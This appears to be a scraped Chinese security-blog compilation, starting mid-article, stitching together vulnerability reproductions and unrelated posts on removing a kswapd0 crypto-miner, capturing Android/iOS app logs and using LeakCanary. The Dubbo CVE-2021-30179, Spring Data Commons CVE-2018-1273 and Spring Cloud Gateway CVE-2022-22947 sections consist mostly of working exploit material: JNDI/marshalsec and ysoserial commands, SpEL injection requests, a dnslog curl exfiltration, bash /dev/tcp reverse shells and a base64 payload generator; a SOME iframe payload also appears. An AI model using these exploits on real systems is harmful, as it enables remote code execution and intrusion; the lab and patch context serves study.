Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:
true
raw.return
nativejava
bean
protobuf-json
我们可以通过控制反序列化的方式为raw.return/true、nativejava、bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞

0x03 影响版本

Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)

0x04 环境搭建

以Apache Dubbo 2.7.9为测试环境
1、下载zookeeper
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir
image

2、双击bin目录下的zkServer.cmd,启动zookeeper,默认监听2181端口
image

3、下载测试Demo及POC:
https://github.com/lz2y/DubboPOC
该测试Demo是我在基础的Dubbo测试项目上添加了需要使用的Gadget所需的依赖(该CVE使用的为org.apache.xbean以及CC4)
师傅们也可以参考https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw安装官方提供的项目进行测试
(项目里的POC是我在参考链接的基础上修改后的结果,后续会更新Dubbo的其他CVE、GHSL的POC)

4、启动Provider
image

0x05 漏洞复现

1、下载marshalsec并编译得到jar包

1
2
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests

2、创建Exploit.java文件,通过javac得到Exploit.class文件

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {

static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

3、在Exploit.class目录下开启http服务
python -m http.server 8000
image

4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

5、查看暴露的接口及其方法

1
2
3
4
telnet Dubbo服务ip Dubbo服务端口
ls
cd 服务
ls

image

打开src\main\java\top\lz2y\vul\CVE202130179.java修改上一步得到的接口名及其方法
image

6、替换CVE-2021-30179.java中的POC1的ldap uri
image

填写Dubbo服务的ip以及端口号
image

7、运行即可发起JNDI注入执行打开计算器
image

POC2同POC1,只需修改LDAP服务地址即可使用
POC3为通过nativejava选项反序列化触发sink点,这里以CC4为例,利用yso生成CC4的序列化文件
java -jar ysoserial.jar CommonsCollections4 "calc" > 1.ser
修改POC中反序列化文件的路径
image

运行即执行calc弹出计算器

0x06 修复方式

升级 Apache Dubbo 至最新版本;
设置 Apache Dubbo 相关端口仅对可信地址开放。

参考链接

https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw
https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

浅析同源方式执行(SOME)攻击

浅析同源方式执行(SOME)攻击

本文转自Str3am 并作补充

SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。  非常感谢兔子师傅@Homaebic在分享会上的分享,才有了这篇文章。

0x01 原理及危害

想要理解SOME攻击,必须先对同源策略和JSONP技术有所了解,JSONP我理解为一种用户可控制js执行函数的跨域数据访问技术,详细可以参见这篇文章或者百度。
SOME攻击
正是由于JSONP可以控制执行函数的特性,产生了SOME攻击,主要危害比如点击链接后自动关注微博,自动点赞,自动授权等。

0x02 攻击条件

存在用户可控函数点,读取用户输入执行对应javascript代码(即寻找JSONP点,通常以get方法callback名传入)
可控点可以输入”.”,点号(因为SOME攻击主要还是操作网页DOM)

0x03 SOME复现

这里通过一个大佬写的SOME靶场来练习复现,除了靶场,还有查找dom工具,exp生成,SOME原理介绍,很不错的一个学习网站。
image

Same Origin Method Execution
点击第一个 Vulnerable Example 项目,并打开一个子网页,在颜色轮盘上选择任意颜色,发现父网页标签背景会根据选择改变。
image

子网页其实就是一个JSONP可控点,当我们点击轮盘中的任意颜色后它的连接如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=changeColor
现在我们想要做的就是控制callback参数,访问之后自动点击父页面的红色按钮。
利用第二个 Reference Generator 项目介绍的谷歌插件,这是一个可以自动获取元素DOM位置的插件。
image

右键即可获取,可在控制台中用click事件测试是否获取正确。
image

修改子页面参数如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=box.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click

访问之后弹窗,按钮被点击,SOME攻击实现。
image

兔子师傅演示的时候打开了两个网页some1和some2,打开some1后,用windiow。open方式打开some2页面,等some1页面加载完之后,some2地址location.replace到payload实现攻击。
我在实际测试的时候发现,当我打开第一个页面,然后直接开启一个新的页面访问payload,第一个页面是不会弹窗的,但是两个页面都是满足同源策略的,按理说执行脚本代码是没问题的,参阅文章后发现,要实现DOM操作,两个界面还必须满足父窗口和子窗口关系,这样子窗口才能够操作到父窗口的DOM,否则执行操作的时候会提示元素找不到的错误。兔子师傅这里是在some1下用window.open打开的some2界面,两个窗口父子关系是满足的。
同时,还需要注意一点的是,因为很多浏览器禁止window.open的原因(谷歌和火狐会禁止),兔子师傅的方法局限性很大,柠檬师傅采用了两个iframe的办法,避免了拦截,也很好的保证了同源性。附上柠檬师傅的代码

1
2
3
4
5
6
7
8
9
10
<iframe src="https://www.someattack.com/Playground/" name=b></iframe>
<iframe name=a></iframe>
<script>
window.frames[0].open('https://www.someattack.com/Playground/','a');
setTimeout(
function(){
window.frames[1].location.href = 'https://www.someattack.com/Playground/ColorPicker.php?callback=document.body.firstElementChild.lastElementChild.lastElementChild.lastElementChild.previousSibling.previousSibling.lastElementChild.click'
}
,1000);
</script>

0x04 漏洞防御

回调函数使用静态函数命名,限制该函数的调用范围。
谷歌的解决方法是,把回调函数加入服务器端的白名单。
Hayak建议,注册回调函数。

参考链接

https://www.someattack.com/Playground/
http://blog.safedog.cn/?p=13
http://www.aqniu.com/hack-geek/5075.html

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

本文转自樱浅沐冰 并作补充

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现过程

vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、验证

这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn
image

拼接命令
curl whoami.t15gcx.dnslog.cn

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
image

bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

Exp

替换对应的payload,重新发送数据包
成功反弹回显到dnslog上
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

image

二、反弹shell

反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口
image

替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell
image

参考文章

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273

服务器(Linux)挖矿木马病毒(kswapd0进程使cpu爆满)

服务器(Linux)挖矿木马病毒(kswapd0进程使cpu爆满)

本文转自飞川撸码 并作补充

前言

由于本人的阿里云服务器遭受攻击,被挖矿,导致CPU爆满,同时受到阿里云官方的邮箱、短信以及电话通知(监管部门是不允许服务器被直接或者间接挖矿)
首先是CPU爆满,远程登录不了,通过将服务器重启以后可以远程登录了。以kswapd0进程为例,其他进程类似,下面就是具体步骤了。
可参考阿里云的:挖矿程序处理最佳实践
注:如果你的服务器购买了付费版云安全中心,在云安全中心插件正常的前提下,可以利用付费版的主动防御及安全告警处理的功能来手动扫描下,对于检测到的威胁,你可以在安全告警处理页面进一步核实处理。应该可以直接处理掉。(如果没有,看下面的处理)
image

image

1.在系统里面top一下,查看了所有进程

image

看到这些进程一直在变化,但是,主要是由于kswapd0进程在作怪,占据了99%以上的CUP,查找资料后,发现它就是挖矿进程。

2.排查kswapd0进程

2.1 执行命令netstat -antlp | grep kswapd0 查询该进程的网络信息

netstat -antlp | grep kswapd0
image

发现一个与本机端口通信的是一个荷兰的ip
image

2.2执行命令netstat -antlp | grep 194.36.190.30 查询该地区ip的其他网络占用情况

netstat -antlp | grep 194.36.190.30
image

发现只有这一个进程(当然,很有可能花卉有其他进程)

3. 查找进程的详细信息

我们来到/proc/目录下查找对应的pid号,即/proc/497。可以在这目录下找到kswapd0进程的详细信息。
ll /proc/497
image

4.查看进程的工作空间

ps -ef | grep kswapd0
image

执行完后可以看到进程的pid以及进程相关文件的位置

5.切换到木马程序目录并删除

image

rm -rf /var/tmp/.copydie

6.清理定时任务

很多病毒都是有会在定时任务里面,以至于很难清理清楚。(由于我的服务器买油开启定时任务服务,所以里面没有任务)

1
2
3
4
查看定时任务:
crontab -l
清理计划任务:
crontab -e

清除后将定时任务里的相关文件都清理干净,若有其他用户,将其他用户的定时任务也清理。

7.杀掉kswapd0进程

最好把木马程序和定时任务都清理完了再杀掉,要不然还会自动重启
kill -9 497 #kill -9 kswapd0进程的PID

8.总结

就是跟着进程找找目录,然后杀进程,清目录
清定时任务
服务器的ftp端口最好别用22,密码尽量设置复杂点
尽量用密钥连接服务器,最好别用账号密码连接
封闭不使用的端口,做到用一个开一个(通过防火墙和安全组策略)
密码增强复杂性
及时修补系统和软件漏洞

解决kswapd0 CPU占用率高的问题

解决kswapd0 CPU占用率高的问题

本文转自年迈的老头子 并作补充

连接服务器时发现cpu使用率100%,使用top命令查看是kswapd0进程占用cpu极高
image

百度下后知道kswapd0进程的作用:
它是虚拟内存管理中,负责换页的,操作系统每过一定时间就会唤醒kswapd ,看看内存是否紧张,如果不紧张,则睡眠,在 kswapd 中,有2个阀值,pages_hige 和 pages_low,当空闲内存页的数量低于 pages_low的时候,kswapd进程就会扫描内存并且每次释放出32 个free pages,直到 free page的数量到达pages_high。通过阻止kswapd0进程过渡活跃地消耗CPU的方法是设置大页内存。

刚开始以为是本身服务器内存小的问题后来翻阅了其他大佬的博客后使用netstat -antlp查看了下系统外部连接,发现存在一个意大利的ip占用kswapd0进程和荷兰的ip占用rsync进程,,经查询后rsync是一个数据传输工具,此时意识到了事情的严重性
image

此时开始查找进程占用的文件路径

1
2
3
4
cd /proc/1266
ls -l exe
cd /proc/1246
ls -l exe

image

查询过后发现是使用prel写的一个脚本,删除整个文件夹后发下这两个进程依然存在,然后就开始了简单粗暴的过程直接kill掉这两个进程,kill点之后发现这两个进程不在了cpu的使用率下来了观察一段时间后确定cpu使用率正常了
image

app日志抓取

app日志抓取

本文转自测试之道. 并作补充

日志抓取

1.首先通过adb devices查看设备是否连接成功
2.通过adb logcat命令抓取日志,保存到D盘下的1文件夹下面的log.txt文件中:
adb logcat -v time (-v time 为了获取日志时间)
image

3.将程序运行在前台,通过命令查看应用包名称:adb shell dumpsys | findstr “mFocusedActivity”
image

4.在导出的 log.txt 文件中搜索应用包名字,查看日志问题

发生 crash 问题,搜索关键字 force finishing

image

发生 anr 问题

1.搜索关键字 anr in
2.treces.txt (adb shell–cd data – cd anr– traces.txt) (获取一次无响应)
3.dropbox.txt (adb shell – cd data – cd system – cd dropbox)(获取多次)

一、Mac / Windows 电脑抓取Android手机APP 日志的方法

电若脑只连接一个Android设备

1、电脑安装adb工具
2、手机打开usb调试:开发者选项开启–>usb调试开启–>允许usb调试
3、查询手机上第三方apk包的包名:
打开控制台:cmd
查询包名:adb shell pm list packages -3;(如:adb -s 11870469 shell pm list packages -3)
若琪app包名为 com.rokid.mobile
4、查询若琪app的进程号:adb shell ps | grep com.rokid.mobile (查出两个进程号)
5、电脑的当前路径创建文件存放日志:touch log
6、给文件操作权限:chmod 777 log
7、查询若琪APP的日志并导入到log文件:adb shell logcat |grep -e “进程号1” -e “进程号2” >> log
(如:adb -s 11870469 shell logcat |grep -e “6998” -e “7081” >> log )

电脑连接多个Android设备:

1、电脑安装adb工具
2、手机打开usb调试:开发者选项开启–>usb调试开启
3、cmd 打开控制台
4、adb devices查询设备号
5、查询第三方apk包的包名:adb -s 设备号 shell pm list packages -3;(如:adb -s 11870469 shell pm list packages -3)
若琪app包名为com.rokid.mobile
6、查询第三方apk进程号:adb -s 设备号 shell ps | grep com.rokid.mobile
7、电脑的当前路径创建文件存放日志:touch log
8、给文件操作权限:chmod 777 log
9、查询若琪APP的日志并导入到log文件:adb -s 设备号 shell logcat |grep -e “进程号1” -e “进程号2” >> log
(如:adb -s 11870469 shell logcat |grep -e “6998” -e “7081” >> log )

二、Mac电脑上抓取IOS手机APP日志的方法:使用Mac电脑自带的“控制台”

Mac电脑对iOS手机的兼容性非常好,抓日志也很简单,ios手机连上电脑,打开控制台就开始抓取日志了,抓取的是全部的系统日志,用“RokidApp”过滤出若琪APP的日志
image

image

三、Windows电脑上抓取ios 手机APP日志的方法:可以用iTools工具

1、下载安装itools工具:http://www.mydown.com/soft/59/11963059.shtml
2、插上ios手机之后要先安装驱动,驱动安装成功才能连上ios手机
3、如下图为连接手机成功
image

4、点击“工具箱”,点击“实时日志”,ios上所有APP的日志都能打印出来
image

5、保存系统日志,文件名为AppLog
image

6、cmd 打开控制台,过滤出若琪APP的日志并查看日志
cat AppLog | grep -e “RokidApp”
7、将若琪APP日志导出
创建文件:touch RokidAppLog
给文件赋权限:chmod 777 RokidAppLog
导出日志: cat AppLog | grep -e “RokidApp” >> RokidAppLog

Spring Cloud Gateway rce(CVE-2022-22947)

Spring Cloud Gateway rce(CVE-2022-22947)

本文转自6right 并作补充

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
也是codeql发现的

漏洞影响

3.1.0
3.0.0至3.0.6
3.0.0之前的版本

复现漏洞

首先,发送以下请求以添加包含恶意SpEL 表达式的路由器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

反弹shell将命令替换为base64命令即可
Content-Type: application/json

image

其次,刷新网关路由器。SpEL 表达式将在此步骤中执行:

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

第三,发送以下请求以检索结果:

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

查看所有路由

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes HTTP/1.1
Host: 123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

最后,发送一个 DELETE 请求来删除我们的恶意路由器:

1
2
3
4
5
6
7
8
9
10
DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json

image
删除后用记得也用refresh

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"
}
}],
"uri": "http://example.com"
}

删去new String[]初始化,直接将base64的反弹shell命令放入填入
生成base64那个站点崩了,可以自己写个python

1
2
3
4
5
6
import base64


base64_str = input("请输入反弹shell命令,如:bash -i >& /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")

漏洞原理

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章

首先定位到漏洞的修复版本对比
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
image
可以看到删除了默认的StandardEvaluationContext,改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理

默认的StandardEvaluationContext里getValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}

可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果

修复建议

3.1.x用户应升级到3.1.1+
3.0.x用户应升级到3.0.7+
如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用
如果需要Actuator端点,则应使用Spring Security对其进行保护

android使用Leaks检测内存泄漏

android使用Leaks检测内存泄漏

本文转自浅浅清风 并作补充

Leaks 内存泄漏检测工具使用

网址:https://github.com/square/leakcanary
在你的module中添加依赖

1
2
3
debugCompile 'com.squareup.leakcanary:leakcanary-android:1.4-beta2'
releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'
testCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'

在Application中添加: LeakCanary.install(this);

并且确保你的app处于调试模式,如下图:

image

当切换到release版本的时候,leakcanary-debug不会被打包.所以切换到release之后不用对leakcanary做注释或者删除等操作.
现在就可以开始使用了,重新编译你的工程,运行在模拟器或真机上.
在各个页面中测试,如果存在内存泄漏的情况,leaks会弹出通知提醒你查看.
在leaks中会有详细的泄漏说明,如产生内存泄漏的大小,产生内存泄漏的页面和相关的信息。

image

内存泄漏详情:

image

最后有一些关于内存泄漏的建议:
为了避免上下文相关的内存泄漏,记住以下几点:
不要长期引用context-activity(引用一个活动应该有相同的生命周期活动本身)
使用getApplicationContext而不是context或activity试试
避免非静态内部类的一个活动如果你不控制自己的生命周期,使用静态内部类,让一个弱引用来传递,并且记住,垃圾收集器对于内存泄漏并不保险。

下面说几个作者遇到的内存泄漏的情况以及解决方案:
使用百度地图LocationClient.在Activity被销毁时调用

1
2
3
4
if (mLocClient != null){
mLocClient.unRegisterLocationListener(myListener);
mLocClient.stop();
}

使用友盟分享登录时, 传递getApplicationContext
第三方库如果需要传入Activity的时候,传递一个弱引用进去, 可以避免内存泄漏,如下:

1
2
Reference<HomeActivity> reference = new WeakReference(getActivity());
new ShareAction(reference.get()).setDisplayList(displaylist);

在Handler中容易造成内存泄漏,最好使用弱引用方式,要么,在Activity销毁的时候清空所有的handler栈。

在使用WebView的时候也可能出现内存泄漏,解决办法,我的另一篇博客里有详细讲解。

在使用RxJava的时候也可能会出现内存泄漏,可以使用RxLifecycler来解决。